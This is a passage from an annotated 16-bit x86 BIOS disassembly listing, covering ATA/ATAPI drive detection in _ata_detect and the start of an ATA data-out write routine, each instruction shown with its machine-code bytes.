jmp short 0214dh ; eb 21
mov al, bl ; 88 d8
and AL, strict byte 0c9h ; 24 c9
cmp AL, strict byte 048h ; 3c 48
je short 020d8h ; 74 a4
mov dx, word [bp-00ch] ; 8b 56 f4
add dx, strict byte 00006h ; 83 c2 06
mov AL, strict byte 008h ; b0 08
out DX, AL ; ee
mov ax, strict word 00005h ; b8 05 00
jmp short 0214dh ; eb 0b
mov dx, word [bp-00ch] ; 8b 56 f4
add dx, strict byte 00006h ; 83 c2 06
mov AL, strict byte 008h ; b0 08
out DX, AL ; ee
xor ax, ax ; 31 c0
lea sp, [bp-004h] ; 8d 66 fc
pop di ; 5f
pop si ; 5e
pop bp ; 5d
retn ; c3
_ata_detect: ; 0xf2154 LB 0x6c3
push bp ; 55
mov bp, sp ; 89 e5
push si ; 56
push di ; 57
sub sp, 00264h ; 81 ec 64 02
mov dx, strict word 0000eh ; ba 0e 00
mov ax, strict word 00040h ; b8 40 00
call 0166eh ; e8 08 f5
mov word [bp-028h], ax ; 89 46 d8
mov bx, 00122h ; bb 22 01
mov es, ax ; 8e c0
mov word [bp-02eh], bx ; 89 5e d2
mov word [bp-02ah], ax ; 89 46 d6
mov byte [es:bx+00204h], 000h ; 26 c6 87 04 02 00
mov word [es:bx+00206h], 001f0h ; 26 c7 87 06 02 f0 01
mov word [es:bx+00208h], 003f0h ; 26 c7 87 08 02 f0 03
mov byte [es:bx+00205h], 00eh ; 26 c6 87 05 02 0e
mov byte [es:bx+0020ah], 000h ; 26 c6 87 0a 02 00
mov word [es:bx+0020ch], 00170h ; 26 c7 87 0c 02 70 01
mov word [es:bx+0020eh], 00370h ; 26 c7 87 0e 02 70 03
mov byte [es:bx+0020bh], 00fh ; 26 c6 87 0b 02 0f
xor al, al ; 30 c0
mov byte [bp-012h], al ; 88 46 ee
mov byte [bp-00ah], al ; 88 46 f6
mov byte [bp-014h], al ; 88 46 ec
jmp near 02795h ; e9 df 05
mov ax, 000a0h ; b8 a0 00
lea dx, [bx+006h] ; 8d 57 06
out DX, AL ; ee
lea si, [bx+002h] ; 8d 77 02
mov AL, strict byte 055h ; b0 55
mov dx, si ; 89 f2
out DX, AL ; ee
lea di, [bx+003h] ; 8d 7f 03
mov AL, strict byte 0aah ; b0 aa
mov dx, di ; 89 fa
out DX, AL ; ee
mov dx, si ; 89 f2
out DX, AL ; ee
mov AL, strict byte 055h ; b0 55
mov dx, di ; 89 fa
out DX, AL ; ee
mov dx, si ; 89 f2
out DX, AL ; ee
mov AL, strict byte 0aah ; b0 aa
mov dx, di ; 89 fa
out DX, AL ; ee
mov dx, si ; 89 f2
in AL, DX ; ec
db 02ah, 0e4h
; sub ah, ah ; 2a e4
mov cx, ax ; 89 c1
mov dx, di ; 89 fa
in AL, DX ; ec
db 02ah, 0e4h
; sub ah, ah ; 2a e4
cmp cl, 055h ; 80 f9 55
jne short 0223ah ; 75 4c
cmp AL, strict byte 0aah ; 3c aa
jne short 0223ah ; 75 48
mov al, byte [bp-014h] ; 8a 46 ec
xor ah, ah ; 30 e4
mov dx, strict word 0001ch ; ba 1c 00
imul dx ; f7 ea
mov es, [bp-02ah] ; 8e 46 d6
mov si, word [bp-02eh] ; 8b 76 d2
add si, ax ; 01 c6
mov byte [es:si+022h], 001h ; 26 c6 44 22 01
mov al, byte [bp-014h] ; 8a 46 ec
xor ah, ah ; 30 e4
call 01db8h ; e8 a7 fb
cmp byte [bp-01ah], 000h ; 80 7e e6 00
je short 0221ch ; 74 05
mov ax, 000b0h ; b8 b0 00
jmp short 0221fh ; eb 03
mov ax, 000a0h ; b8 a0 00
lea dx, [bx+006h] ; 8d 57 06
out DX, AL ; ee
lea dx, [bx+002h] ; 8d 57 02
in AL, DX ; ec
db 02ah, 0e4h
; sub ah, ah ; 2a e4
mov cx, ax ; 89 c1
lea dx, [bx+003h] ; 8d 57 03
in AL, DX ; ec
db 02ah, 0e4h
; sub ah, ah ; 2a e4
cmp cl, 001h ; 80 f9 01
jne short 0227dh ; 75 47
cmp al, cl ; 38 c8
je short 0223ch ; 74 02
jmp short 0227dh ; eb 41
lea dx, [bx+004h] ; 8d 57 04
in AL, DX ; ec
db 02ah, 0e4h
; sub ah, ah ; 2a e4
mov cx, ax ; 89 c1
mov ch, al ; 88 c5
lea dx, [bx+005h] ; 8d 57 05
in AL, DX ; ec
db 02ah, 0e4h
; sub ah, ah ; 2a e4
mov word [bp-02ch], ax ; 89 46 d4
mov al, byte [bp-02ch] ; 8a 46 d4
mov byte [bp-006h], al ; 88 46 fa
lea dx, [bx+007h] ; 8d 57 07
in AL, DX ; ec
db 02ah, 0e4h
; sub ah, ah ; 2a e4
cmp cl, 014h ; 80 f9 14
jne short 0227fh ; 75 1f
cmp byte [bp-02ch], 0ebh ; 80 7e d4 eb
jne short 0227fh ; 75 19
mov al, byte [bp-014h] ; 8a 46 ec
xor ah, ah ; 30 e4
mov dx, strict word 0001ch ; ba 1c 00
imul dx ; f7 ea
mov es, [bp-02ah] ; 8e 46 d6
mov bx, word [bp-02eh] ; 8b 5e d2
add bx, ax ; 01 c3
mov byte [es:bx+022h], 003h ; 26 c6 47 22 03
jmp short 022c7h ; eb 48
test ch, ch ; 84 ed
jne short 022a6h ; 75 23
cmp byte [bp-006h], 000h ; 80 7e fa 00
jne short 022a6h ; 75 1d
test al, al ; 84 c0
je short 022a6h ; 74 19
mov al, byte [bp-014h] ; 8a 46 ec
xor ah, ah ; 30 e4
mov dx, strict word 0001ch ; ba 1c 00
imul dx ; f7 ea
mov es, [bp-02ah] ; 8e 46 d6
mov bx, word [bp-02eh] ; 8b 5e d2
add bx, ax ; 01 c3
mov byte [es:bx+022h], 002h ; 26 c6 47 22 02
jmp short 022c7h ; eb 21
cmp ch, 0ffh ; 80 fd ff
jne short 022c7h ; 75 1c
cmp ch, byte [bp-006h] ; 3a 6e fa
jne short 022c7h ; 75 17
mov al, byte [bp-014h] ; 8a 46 ec
xor ah, ah ; 30 e4
mov dx, strict word 0001ch ; ba 1c 00
imul dx ; f7 ea
mov es, [bp-02ah] ; 8e 46 d6
mov bx, word [bp-02eh] ; 8b 5e d2
add bx, ax ; 01 c3
mov byte [es:bx+022h], 000h ; 26 c6 47 22 00
mov dx, word [bp-032h] ; 8b 56 ce
add dx, strict byte 00006h ; 83 c2 06
mov AL, strict byte 008h ; b0 08
out DX, AL ; ee
mov al, byte [bp-014h] ; 8a 46 ec
xor ah, ah ; 30 e4
mov dx, strict word 0001ch ; ba 1c 00
imul dx ; f7 ea
mov es, [bp-02ah] ; 8e 46 d6
mov bx, word [bp-02eh] ; 8b 5e d2
add bx, ax ; 01 c3
mov al, byte [es:bx+022h] ; 26 8a 47 22
mov byte [bp-018h], al ; 88 46 e8
cmp AL, strict byte 002h ; 3c 02
jne short 02339h ; 75 4c
mov byte [es:bx+023h], 0ffh ; 26 c6 47 23 ff
mov byte [es:bx+026h], 000h ; 26 c6 47 26 00
lea dx, [bp-00268h] ; 8d 96 98 fd
mov bx, word [bp-02eh] ; 8b 5e d2
mov word [es:bx+008h], dx ; 26 89 57 08
mov [es:bx+00ah], ss ; 26 8c 57 0a
mov al, byte [bp-014h] ; 8a 46 ec
mov byte [es:bx+00ch], al ; 26 88 47 0c
mov cx, strict word 00001h ; b9 01 00
mov bx, 000ech ; bb ec 00
mov ax, word [bp-02eh] ; 8b 46 d2
mov dx, es ; 8c c2
call 01e9dh ; e8 82 fb
test ax, ax ; 85 c0
je short 0232dh ; 74 0e
mov ax, 00124h ; b8 24 01
push ax ; 50
mov ax, strict word 00007h ; b8 07 00
push ax ; 50
call 01976h ; e8 4c f6
add sp, strict byte 00004h ; 83 c4 04
test byte [bp-00268h], 080h ; f6 86 98 fd 80
je short 0233ch ; 74 08
mov ax, strict word 00001h ; b8 01 00
jmp short 0233eh ; eb 05
jmp near 02540h ; e9 04 02
xor ax, ax ; 31 c0
mov byte [bp-008h], al ; 88 46 f8
mov byte [bp-00eh], 000h ; c6 46 f2 00
mov word [bp-038h], 00200h ; c7 46 c8 00 02
mov ax, word [bp-00266h] ; 8b 86 9a fd
mov word [bp-026h], ax ; 89 46 da
mov ax, word [bp-00262h] ; 8b 86 9e fd
mov word [bp-01eh], ax ; 89 46 e2
mov ax, word [bp-0025ch] ; 8b 86 a4 fd
mov word [bp-020h], ax ; 89 46 e0
mov ax, word [bp-001f0h] ; 8b 86 10 fe
mov word [bp-030h], ax ; 89 46 d0
mov si, word [bp-001eeh] ; 8b b6 12 fe
xor ax, ax ; 31 c0
mov word [bp-01ch], ax ; 89 46 e4
mov word [bp-024h], ax ; 89 46 dc
cmp si, 00fffh ; 81 fe ff 0f
jne short 02397h ; 75 1f
cmp word [bp-030h], strict byte 0ffffh ; 83 7e d0 ff
jne short 02397h ; 75 19
mov ax, word [bp-0019ah] ; 8b 86 66 fe
mov word [bp-024h], ax ; 89 46 dc
mov ax, word [bp-0019ch] ; 8b 86 64 fe
mov word [bp-01ch], ax ; 89 46 e4
mov si, word [bp-0019eh] ; 8b b6 62 fe
mov ax, word [bp-001a0h] ; 8b 86 60 fe
mov word [bp-030h], ax ; 89 46 d0
mov al, byte [bp-014h] ; 8a 46 ec
cmp AL, strict byte 001h ; 3c 01
jc short 023aah ; 72 0c
jbe short 023b2h ; 76 12
cmp AL, strict byte 003h ; 3c 03
je short 023bah ; 74 16
cmp AL, strict byte 002h ; 3c 02
je short 023b6h ; 74 0e
jmp short 023efh ; eb 45
test al, al ; 84 c0
jne short 023efh ; 75 41
mov BL, strict byte 01eh ; b3 1e
jmp short 023bch ; eb 0a
mov BL, strict byte 026h ; b3 26
jmp short 023bch ; eb 06
mov BL, strict byte 067h ; b3 67
jmp short 023bch ; eb 02
mov BL, strict byte 070h ; b3 70
mov al, bl ; 88 d8
db 0feh, 0c0h
; inc al ; fe c0
xor ah, ah ; 30 e4
call 016aeh ; e8 e9 f2
mov dh, al ; 88 c6
mov al, bl ; 88 d8
xor ah, ah ; 30 e4
call 016aeh ; e8 e0 f2
mov ah, dh ; 88 f4
mov word [bp-03ch], ax ; 89 46 c4
mov al, bl ; 88 d8
add AL, strict byte 002h ; 04 02
xor ah, ah ; 30 e4
call 016aeh ; e8 d2 f2
xor ah, ah ; 30 e4
mov word [bp-03eh], ax ; 89 46 c2
mov al, bl ; 88 d8
add AL, strict byte 007h ; 04 07
call 016aeh ; e8 c6 f2
xor ah, ah ; 30 e4
mov word [bp-03ah], ax ; 89 46 c6
jmp short 02401h ; eb 12
push word [bp-024h] ; ff 76 dc
push word [bp-01ch] ; ff 76 e4
push si ; 56
push word [bp-030h] ; ff 76 d0
mov dx, ss ; 8c d2
lea ax, [bp-03eh] ; 8d 46 c2
call 05b9fh ; e8 9e 37
mov bx, 00da0h ; bb a0 0d
mov cx, ds ; 8c d9
mov ax, strict word 00004h ; b8 04 00
call 01933h ; e8 27 f5
mov ax, word [bp-03ah] ; 8b 46 c6
push ax ; 50
mov ax, word [bp-03eh] ; 8b 46 c2
push ax ; 50
mov ax, word [bp-03ch] ; 8b 46 c4
push ax ; 50
push word [bp-020h] ; ff 76 e0
push word [bp-01eh] ; ff 76 e2
push word [bp-026h] ; ff 76 da
mov al, byte [bp-01ah] ; 8a 46 e6
xor ah, ah ; 30 e4
push ax ; 50
mov al, byte [bp-00ch] ; 8a 46 f4
push ax ; 50
mov ax, 0014dh ; b8 4d 01
push ax ; 50
mov ax, strict word 00004h ; b8 04 00
push ax ; 50
call 01976h ; e8 40 f5
add sp, strict byte 00014h ; 83 c4 14
mov al, byte [bp-014h] ; 8a 46 ec
xor ah, ah ; 30 e4
mov dx, strict word 0001ch ; ba 1c 00
imul dx ; f7 ea
mov es, [bp-02ah] ; 8e 46 d6
mov di, word [bp-02eh] ; 8b 7e d2
add di, ax ; 01 c7
mov byte [es:di+023h], 0ffh ; 26 c6 45 23 ff
mov al, byte [bp-008h] ; 8a 46 f8
mov byte [es:di+024h], al ; 26 88 45 24
mov al, byte [bp-00eh] ; 8a 46 f2
mov byte [es:di+026h], al ; 26 88 45 26
mov ax, word [bp-038h] ; 8b 46 c8
mov word [es:di+028h], ax ; 26 89 45 28
mov ax, word [bp-01eh] ; 8b 46 e2
mov word [es:di+030h], ax ; 26 89 45 30
mov ax, word [bp-026h] ; 8b 46 da
mov word [es:di+032h], ax ; 26 89 45 32
mov ax, word [bp-020h] ; 8b 46 e0
mov word [es:di+034h], ax ; 26 89 45 34
mov ax, word [bp-024h] ; 8b 46 dc
mov word [es:di+03ch], ax ; 26 89 45 3c
mov ax, word [bp-01ch] ; 8b 46 e4
mov word [es:di+03ah], ax ; 26 89 45 3a
mov word [es:di+038h], si ; 26 89 75 38
mov ax, word [bp-030h] ; 8b 46 d0
mov word [es:di+036h], ax ; 26 89 45 36
lea di, [di+02ah] ; 8d 7d 2a
push DS ; 1e
push SS ; 16
pop DS ; 1f
lea si, [bp-03eh] ; 8d 76 c2
movsw ; a5
movsw ; a5
movsw ; a5
pop DS ; 1f
mov al, byte [bp-014h] ; 8a 46 ec
cmp AL, strict byte 002h ; 3c 02
jnc short 0250bh ; 73 64
test al, al ; 84 c0
jne short 024b0h ; 75 05
mov di, strict word 0003dh ; bf 3d 00
jmp short 024b3h ; eb 03
mov di, strict word 0004dh ; bf 4d 00
mov cx, word [bp-028h] ; 8b 4e d8
mov al, byte [bp-014h] ; 8a 46 ec
xor ah, ah ; 30 e4
mov dx, strict word 00005h ; ba 05 00
imul dx ; f7 ea
mov bx, ax ; 89 c3
sal bx, 1 ; d1 e3
sal bx, 1 ; d1 e3
add bx, 00104h ; 81 c3 04 01
xor ax, ax ; 31 c0
mov es, ax ; 8e c0
mov word [es:bx], di ; 26 89 3f
mov word [es:bx+002h], cx ; 26 89 4f 02
mov bx, word [bp-03ch] ; 8b 5e c4
mov es, cx ; 8e c1
mov word [es:di], bx ; 26 89 1d
mov bl, byte [bp-03eh] ; 8a 5e c2
mov byte [es:di+002h], bl ; 26 88 5d 02
mov byte [es:di+003h], 0a0h ; 26 c6 45 03 a0
mov al, byte [bp-020h] ; 8a 46 e0
mov byte [es:di+004h], al ; 26 88 45 04
mov ax, word [bp-026h] ; 8b 46 da
mov word [es:di+009h], ax ; 26 89 45 09
mov al, byte [bp-01eh] ; 8a 46 e2
mov byte [es:di+00bh], al ; 26 88 45 0b
mov bl, byte [bp-03ah] ; 8a 5e c6
mov byte [es:di+00eh], bl ; 26 88 5d 0e
xor bl, bl ; 30 db
xor al, al ; 30 c0
jmp short 02511h ; eb 06
jmp short 0252ah ; eb 1d
cmp AL, strict byte 00fh ; 3c 0f
jnc short 02522h ; 73 11
mov dl, al ; 88 c2
xor dh, dh ; 30 f6
mov es, cx ; 8e c1
mov si, di ; 89 fe
add si, dx ; 01 d6
add bl, byte [es:si] ; 26 02 1c
db 0feh, 0c0h
; inc al ; fe c0
jmp short 0250dh ; eb eb
neg bl ; f6 db
mov es, cx ; 8e c1
mov byte [es:di+00fh], bl ; 26 88 5d 0f
mov bl, byte [bp-00ah] ; 8a 5e f6
xor bh, bh ; 30 ff
mov es, [bp-02ah] ; 8e 46 d6
add bx, word [bp-02eh] ; 03 5e d2
mov al, byte [bp-014h] ; 8a 46 ec
mov byte [es:bx+001e3h], al ; 26 88 87 e3 01
inc byte [bp-00ah] ; fe 46 f6
cmp byte [bp-018h], 003h ; 80 7e e8 03
jne short 025adh ; 75 67
mov al, byte [bp-014h] ; 8a 46 ec
xor ah, ah ; 30 e4
mov dx, strict word 0001ch ; ba 1c 00
imul dx ; f7 ea
mov es, [bp-02ah] ; 8e 46 d6
mov bx, word [bp-02eh] ; 8b 5e d2
add bx, ax ; 01 c3
mov byte [es:bx+023h], 005h ; 26 c6 47 23 05
mov byte [es:bx+026h], 000h ; 26 c6 47 26 00
lea dx, [bp-00268h] ; 8d 96 98 fd
mov bx, word [bp-02eh] ; 8b 5e d2
mov word [es:bx+008h], dx ; 26 89 57 08
mov [es:bx+00ah], ss ; 26 8c 57 0a
mov al, byte [bp-014h] ; 8a 46 ec
mov byte [es:bx+00ch], al ; 26 88 47 0c
mov cx, strict word 00001h ; b9 01 00
mov bx, 000a1h ; bb a1 00
mov ax, word [bp-02eh] ; 8b 46 d2
mov dx, es ; 8c c2
call 01e9dh ; e8 17 f9
test ax, ax ; 85 c0
je short 02598h ; 74 0e
mov ax, 00174h ; b8 74 01
push ax ; 50
mov ax, strict word 00007h ; b8 07 00
push ax ; 50
call 01976h ; e8 e1 f3
add sp, strict byte 00004h ; 83 c4 04
mov al, byte [bp-00267h] ; 8a 86 99 fd
and AL, strict byte 01fh ; 24 1f
mov byte [bp-010h], al ; 88 46 f0
test byte [bp-00268h], 080h ; f6 86 98 fd 80
je short 025afh ; 74 07
mov cx, strict word 00001h ; b9 01 00
jmp short 025b1h ; eb 04
jmp short 025ech ; eb 3d
xor cx, cx ; 31 c9
mov al, byte [bp-014h] ; 8a 46 ec
xor ah, ah ; 30 e4
mov dx, strict word 0001ch ; ba 1c 00
imul dx ; f7 ea
mov es, [bp-02ah] ; 8e 46 d6
mov bx, word [bp-02eh] ; 8b 5e d2
add bx, ax ; 01 c3
mov al, byte [bp-010h] ; 8a 46 f0
mov byte [es:bx+023h], al ; 26 88 47 23
mov byte [es:bx+024h], cl ; 26 88 4f 24
mov byte [es:bx+026h], 000h ; 26 c6 47 26 00
mov word [es:bx+028h], 00800h ; 26 c7 47 28 00 08
mov bl, byte [bp-012h] ; 8a 5e ee
xor bh, bh ; 30 ff
add bx, word [bp-02eh] ; 03 5e d2
mov al, byte [bp-014h] ; 8a 46 ec
mov byte [es:bx+001f4h], al ; 26 88 87 f4 01
inc byte [bp-012h] ; fe 46 ee
mov al, byte [bp-018h] ; 8a 46 e8
cmp AL, strict byte 003h ; 3c 03
je short 02625h ; 74 32
cmp AL, strict byte 002h ; 3c 02
jne short 0264ch ; 75 55
mov al, byte [bp-014h] ; 8a 46 ec
xor ah, ah ; 30 e4
mov dx, strict word 0001ch ; ba 1c 00
imul dx ; f7 ea
mov es, [bp-02ah] ; 8e 46 d6
mov di, word [bp-02eh] ; 8b 7e d2
add di, ax ; 01 c7
mov ax, word [es:di+03ch] ; 26 8b 45 3c
mov bx, word [es:di+03ah] ; 26 8b 5d 3a
mov cx, word [es:di+038h] ; 26 8b 4d 38
mov dx, word [es:di+036h] ; 26 8b 55 36
mov si, strict word 0000bh ; be 0b 00
call 0a1a0h ; e8 81 7b
mov word [bp-022h], dx ; 89 56 de
mov word [bp-036h], cx ; 89 4e ca
mov dh, byte [bp-001c7h] ; 8a b6 39 fe
mov dl, byte [bp-001c8h] ; 8a 96 38 fe
mov byte [bp-016h], 00fh ; c6 46 ea 0f
jmp short 0263ch ; eb 09
dec byte [bp-016h] ; fe 4e ea
cmp byte [bp-016h], 000h ; 80 7e ea 00
jbe short 02648h ; 76 0c
mov cl, byte [bp-016h] ; 8a 4e ea
mov ax, strict word 00001h ; b8 01 00
sal ax, CL ; d3 e0
test dx, ax ; 85 c2
je short 02633h ; 74 eb
xor di, di ; 31 ff
jmp short 02653h ; eb 07
jmp short 02682h ; eb 34
cmp di, strict byte 00014h ; 83 ff 14
jnl short 02668h ; 7d 15
mov si, di ; 89 fe
sal si, 1 ; d1 e6
mov al, byte [bp+si-00231h] ; 8a 82 cf fd
mov byte [bp+si-068h], al ; 88 42 98
mov al, byte [bp+si-00232h] ; 8a 82 ce fd
mov byte [bp+si-067h], al ; 88 42 99
inc di ; 47
jmp short 0264eh ; eb e6
mov byte [bp-040h], 000h ; c6 46 c0 00
mov di, strict word 00027h ; bf 27 00
jmp short 02676h ; eb 05
dec di ; 4f
test di, di ; 85 ff
jle short 02682h ; 7e 0c
cmp byte [bp+di-068h], 020h ; 80 7b 98 20
jne short 02682h ; 75 06
mov byte [bp+di-068h], 000h ; c6 43 98 00
jmp short 02671h ; eb ef
mov al, byte [bp-018h] ; 8a 46 e8
cmp AL, strict byte 003h ; 3c 03
je short 026efh ; 74 66
cmp AL, strict byte 002h ; 3c 02
je short 02694h ; 74 07
cmp AL, strict byte 001h ; 3c 01
je short 026fah ; 74 69
jmp near 0278ch ; e9 f8 00
cmp byte [bp-01ah], 000h ; 80 7e e6 00
je short 0269fh ; 74 05
mov ax, 0019fh ; b8 9f 01
jmp short 026a2h ; eb 03
mov ax, 001a6h ; b8 a6 01
push ax ; 50
mov al, byte [bp-00ch] ; 8a 46 f4
xor ah, ah ; 30 e4
push ax ; 50
mov ax, 001adh ; b8 ad 01
push ax ; 50
mov ax, strict word 00002h ; b8 02 00
push ax ; 50
call 01976h ; e8 c2 f2
add sp, strict byte 00008h ; 83 c4 08
xor di, di ; 31 ff
mov al, byte [bp+di-068h] ; 8a 43 98
xor ah, ah ; 30 e4
inc di ; 47
test ax, ax ; 85 c0
je short 026d4h ; 74 11
push ax ; 50
mov ax, 001b8h ; b8 b8 01
push ax ; 50
mov ax, strict word 00002h ; b8 02 00
push ax ; 50
call 01976h ; e8 a7 f2
add sp, strict byte 00006h ; 83 c4 06
jmp short 026b9h ; eb e5
push word [bp-036h] ; ff 76 ca
push word [bp-022h] ; ff 76 de
mov al, byte [bp-016h] ; 8a 46 ea
push ax ; 50
mov ax, 001bbh ; b8 bb 01
push ax ; 50
mov ax, strict word 00002h ; b8 02 00
push ax ; 50
call 01976h ; e8 8d f2
add sp, strict byte 0000ah ; 83 c4 0a
jmp near 0278ch ; e9 9d 00
cmp byte [bp-01ah], 000h ; 80 7e e6 00
je short 026fch ; 74 07
mov ax, 0019fh ; b8 9f 01
jmp short 026ffh ; eb 05
jmp short 02769h ; eb 6d
mov ax, 001a6h ; b8 a6 01
push ax ; 50
mov al, byte [bp-00ch] ; 8a 46 f4
xor ah, ah ; 30 e4
push ax ; 50
mov ax, 001adh ; b8 ad 01
push ax ; 50
mov ax, strict word 00002h ; b8 02 00
push ax ; 50
call 01976h ; e8 65 f2
add sp, strict byte 00008h ; 83 c4 08
xor di, di ; 31 ff
mov al, byte [bp+di-068h] ; 8a 43 98
xor ah, ah ; 30 e4
inc di ; 47
test ax, ax ; 85 c0
je short 02731h ; 74 11
push ax ; 50
mov ax, 001b8h ; b8 b8 01
push ax ; 50
mov ax, strict word 00002h ; b8 02 00
push ax ; 50
call 01976h ; e8 4a f2
add sp, strict byte 00006h ; 83 c4 06
jmp short 02716h ; eb e5
mov al, byte [bp-014h] ; 8a 46 ec
mov dx, strict word 0001ch ; ba 1c 00
imul dx ; f7 ea
mov es, [bp-02ah] ; 8e 46 d6
mov bx, word [bp-02eh] ; 8b 5e d2
add bx, ax ; 01 c3
cmp byte [es:bx+023h], 005h ; 26 80 7f 23 05
jne short 02753h ; 75 0b
mov al, byte [bp-016h] ; 8a 46 ea
xor ah, ah ; 30 e4
push ax ; 50
mov ax, 001dbh ; b8 db 01
jmp short 0275ch ; eb 09
mov al, byte [bp-016h] ; 8a 46 ea
xor ah, ah ; 30 e4
push ax ; 50
mov ax, 001f5h ; b8 f5 01
push ax ; 50
mov ax, strict word 00002h ; b8 02 00
push ax ; 50
call 01976h ; e8 12 f2
add sp, strict byte 00006h ; 83 c4 06
jmp short 0278ch ; eb 23
cmp byte [bp-01ah], 000h ; 80 7e e6 00
je short 02774h ; 74 05
mov ax, 0019fh ; b8 9f 01
jmp short 02777h ; eb 03
mov ax, 001a6h ; b8 a6 01
push ax ; 50
mov al, byte [bp-00ch] ; 8a 46 f4
xor ah, ah ; 30 e4
push ax ; 50
mov ax, 00207h ; b8 07 02
push ax ; 50
mov ax, strict word 00002h ; b8 02 00
push ax ; 50
call 01976h ; e8 ed f1
add sp, strict byte 00008h ; 83 c4 08
inc byte [bp-014h] ; fe 46 ec
cmp byte [bp-014h], 008h ; 80 7e ec 08
jnc short 027ech ; 73 57
mov bl, byte [bp-014h] ; 8a 5e ec
xor bh, bh ; 30 ff
mov ax, bx ; 89 d8
cwd ; 99
db 02bh, 0c2h
; sub ax, dx ; 2b c2
sar ax, 1 ; d1 f8
mov cx, ax ; 89 c1
mov byte [bp-00ch], al ; 88 46 f4
mov ax, bx ; 89 d8
cwd ; 99
mov bx, strict word 00002h ; bb 02 00
idiv bx ; f7 fb
mov word [bp-034h], dx ; 89 56 cc
mov al, byte [bp-034h] ; 8a 46 cc
mov byte [bp-01ah], al ; 88 46 e6
mov al, cl ; 88 c8
xor ah, ah ; 30 e4
mov dx, strict word 00006h ; ba 06 00
imul dx ; f7 ea
mov es, [bp-02ah] ; 8e 46 d6
mov si, word [bp-02eh] ; 8b 76 d2
add si, ax ; 01 c6
mov bx, word [es:si+00206h] ; 26 8b 9c 06 02
mov ax, word [es:si+00208h] ; 26 8b 84 08 02
mov word [bp-032h], ax ; 89 46 ce
mov dx, ax ; 89 c2
add dx, strict byte 00006h ; 83 c2 06
mov AL, strict byte 00ah ; b0 0a
out DX, AL ; ee
cmp byte [bp-034h], 000h ; 80 7e cc 00
jne short 027e6h ; 75 03
jmp near 021b6h ; e9 d0 f9
mov ax, 000b0h ; b8 b0 00
jmp near 021b9h ; e9 cd f9
mov al, byte [bp-00ah] ; 8a 46 f6
mov es, [bp-02ah] ; 8e 46 d6
mov bx, word [bp-02eh] ; 8b 5e d2
mov byte [es:bx+001e2h], al ; 26 88 87 e2 01
mov al, byte [bp-012h] ; 8a 46 ee
mov byte [es:bx+001f3h], al ; 26 88 87 f3 01
mov bl, byte [bp-00ah] ; 8a 5e f6
xor bh, bh ; 30 ff
mov dx, strict word 00075h ; ba 75 00
mov ax, strict word 00040h ; b8 40 00
call 01660h ; e8 50 ee
lea sp, [bp-004h] ; 8d 66 fc
pop di ; 5f
pop si ; 5e
pop bp ; 5d
retn ; c3
ata_cmd_data_out_: ; 0xf2817 LB 0x28e
push bp ; 55
mov bp, sp ; 89 e5
push si ; 56
push di ; 57
sub sp, strict byte 00020h ; 83 ec 20
mov di, ax ; 89 c7
mov word [bp-00ah], dx ; 89 56 f6
mov word [bp-01eh], bx ; 89 5e e2
mov word [bp-01ah], cx ; 89 4e e6
mov es, dx ; 8e c2
mov al, byte [es:di+00ch] ; 26 8a 45 0c
xor ah, ah ; 30 e4
mov dx, ax ; 89 c2
shr ax, 1 ; d1 e8
and dl, 001h ; 80 e2 01
mov byte [bp-006h], dl ; 88 56 fa
xor ah, ah ; 30 e4
mov dx, strict word 00006h ; ba 06 00
imul dx ; f7 ea
mov bx, di ; 89 fb
add bx, ax ; 01 c3
mov ax, word [es:bx+00206h] ; 26 8b 87 06 02
mov word [bp-008h], ax ; 89 46 f8
mov ax, word [es:bx+00208h] ; 26 8b 87 08 02
mov word [bp-00eh], ax ; 89 46 f2
mov word [bp-01ch], 00100h ; c7 46 e4 00 01
mov dx, word [bp-008h] ; 8b 56 f8
add dx, strict byte 00007h ; 83 c2 07
in AL, DX ; ec
db 02ah, 0e4h
; sub ah, ah ; 2a e4
test AL, strict byte 080h ; a8 80
je short 02878h ; 74 0f
mov dx, word [bp-00eh] ; 8b 56 f2
add dx, strict byte 00006h ; 83 c2 06
mov AL, strict byte 008h ; b0 08
out DX, AL ; ee
mov ax, strict word 00001h ; b8 01 00
jmp near 02a9eh ; e9 26 02
mov es, [bp-00ah] ; 8e 46 f6
mov ax, word [es:di+006h] ; 26 8b 45 06
mov word [bp-00ch], ax ; 89 46 f4
mov ax, word [es:di+004h] ; 26 8b 45 04
mov word [bp-020h], ax ; 89 46 e0
mov ax, word [es:di+002h] ; 26 8b 45 02
mov word [bp-010h], ax ; 89 46 f0
mov ax, word [es:di] ; 26 8b 05
mov word [bp-022h], ax ; 89 46 de
mov ax, word [es:di+008h] ; 26 8b 45 08
mov word [bp-016h], ax ; 89 46 ea
mov ax, word [es:di+00ah] ; 26 8b 45 0a
mov word [bp-012h], ax ; 89 46 ee
mov ax, word [es:di+016h] ; 26 8b 45 16
mov word [bp-014h], ax ; 89 46 ec
mov ax, word [es:di+012h] ; 26 8b 45 12
mov word [bp-024h], ax ; 89 46 dc
mov ax, word [es:di+014h] ; 26 8b 45 14
mov word [bp-018h], ax ; 89 46 e8
mov ax, word [bp-014h] ; 8b 46 ec
test ax, ax ; 85 c0
je short 028c3h ; 74 03
jmp near 0298ah ; e9 c7 00
xor bx, bx ; 31 db
xor dx, dx ; 31 d2
mov si, word [bp-022h] ; 8b 76 de
add si, word [bp-01ah] ; 03 76 e6
adc bx, word [bp-010h] ; 13 5e f0
adc dx, word [bp-020h] ; 13 56 e0
adc ax, word [bp-00ch] ; 13 46 f4
test ax, ax ; 85 c0
jnbe short 028eah ; 77 10
jne short 0294dh ; 75 71
test dx, dx ; 85 d2
jnbe short 028eah ; 77 0a
jne short 0294dh ; 75 6b
cmp bx, 01000h ; 81 fb 00 10
jnbe short 028eah ; 77 02
jne short 0294dh ; 75 63
mov ax, word [bp-00ch] ; 8b 46 f4
mov bx, word [bp-020h] ; 8b 5e e0
mov cx, word [bp-010h] ; 8b 4e f0
mov dx, word [bp-022h] ; 8b 56 de
mov si, strict word 00018h ; be 18 00
call 0a1a0h ; e8 a4 78
xor dh, dh ; 30 f6
mov word [bp-014h], dx ; 89 56 ec
mov ax, word [bp-00ch] ; 8b 46 f4
mov bx, word [bp-020h] ; 8b 5e e0
mov cx, word [bp-010h] ; 8b 4e f0
mov dx, word [bp-022h] ; 8b 56 de
mov si, strict word 00020h ; be 20 00
call 0a1a0h ; e8 8d 78
mov bx, dx ; 89 d3
mov word [bp-024h], dx ; 89 56 dc
mov ax, word [bp-01ah] ; 8b 46 e6
mov al, ah ; 88 e0
mov dx, word [bp-008h] ; 8b 56 f8
inc dx ; 42
inc dx ; 42
out DX, AL ; ee
mov dx, word [bp-008h] ; 8b 56 f8
add dx, strict byte 00003h ; 83 c2 03
mov al, byte [bp-014h] ; 8a 46 ec
out DX, AL ; ee
